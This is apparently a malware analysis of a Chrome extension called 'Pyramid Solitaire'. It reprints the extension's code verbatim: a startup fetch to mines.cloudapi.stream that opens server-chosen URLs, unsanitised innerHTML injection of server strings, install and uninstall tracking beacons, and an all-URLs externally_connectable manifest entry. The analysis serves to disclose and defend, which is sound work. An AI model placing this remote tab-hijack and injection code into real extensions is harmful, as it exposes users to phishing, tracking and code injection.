Pyramid Solitaire

On every extension startup, the background script POSTs the extension ID to an attacker-controlled server and opens whatever URL the server returns in a new tab. This is a remote-controlled tab hijack: the operator can silently redirect users to phishing pages, malvertising, or drive-by download sites at any time without touching the extension package itself. The delayed-payload pattern is the standard technique for evading CWS review.

async function loadInfo() {  try {    const response = await fetch("https://mines.cloudapi.stream/user_info", {      method: "POST",      headers: {        "Content-Type": "application/json"      },      body: JSON.stringify({        type: 'background',        ext: chrome.runtime.id      })    });    const result = await response.json();    if (result?.success && result?.infoURL) {      chrome.tabs.create({        url: result.infoURL      });    }  } catch (error) {    console.error(error);  }}loadInfo();

Server-supplied strings from `mines.cloudapi.stream` are injected verbatim into the DOM via `innerHTML` without any sanitisation. Because this runs inside an extension page with access to `chrome.*` APIs, the operator can push arbitrary HTML/JS payloads to harvest browsing data or escalate privileges through the extension's host permissions at any time.

if (result.rating) {  ratingPlayers.innerHTML = result.rating;}if (result.protxt) {  proplansID.innerHTML = result.protxt;  proplansID.classList.remove('h_');}

Every install, update, and uninstall event is reported to `cloudapi.stream` along with the extension ID, enabling the operator to build a persistent install-base inventory and correlate user sessions across the extension lifecycle. The uninstall URL also fires a beacon on removal, confirming the tracking intent.

chrome.runtime.onInstalled.addListener(function(details) {  if (details.reason == "install" || details.reason === "update") {    chrome.tabs.create({      url: 'popup/index.html'    });    chrome.tabs.create({      url: 'https://cloudapi.stream/install/?reason=' + details.reason + '&id=' + chrome.runtime.id    });  }});chrome.runtime.setUninstallURL(`https://cloudapi.stream/install/?reason=uninstall&id=${chrome.runtime.id}`);

`externally_connectable` with `<all_urls>` allows every webpage the user visits to send messages to this extension via `chrome.runtime.sendMessage`. Combined with the extension's host permissions and the injectable innerHTML surface in userpage.js, this provides an inbound attack channel from any compromised or malicious website the user browses to.

{  "externally_connectable": {    "matches": [      "<all_urls>"    ]  }}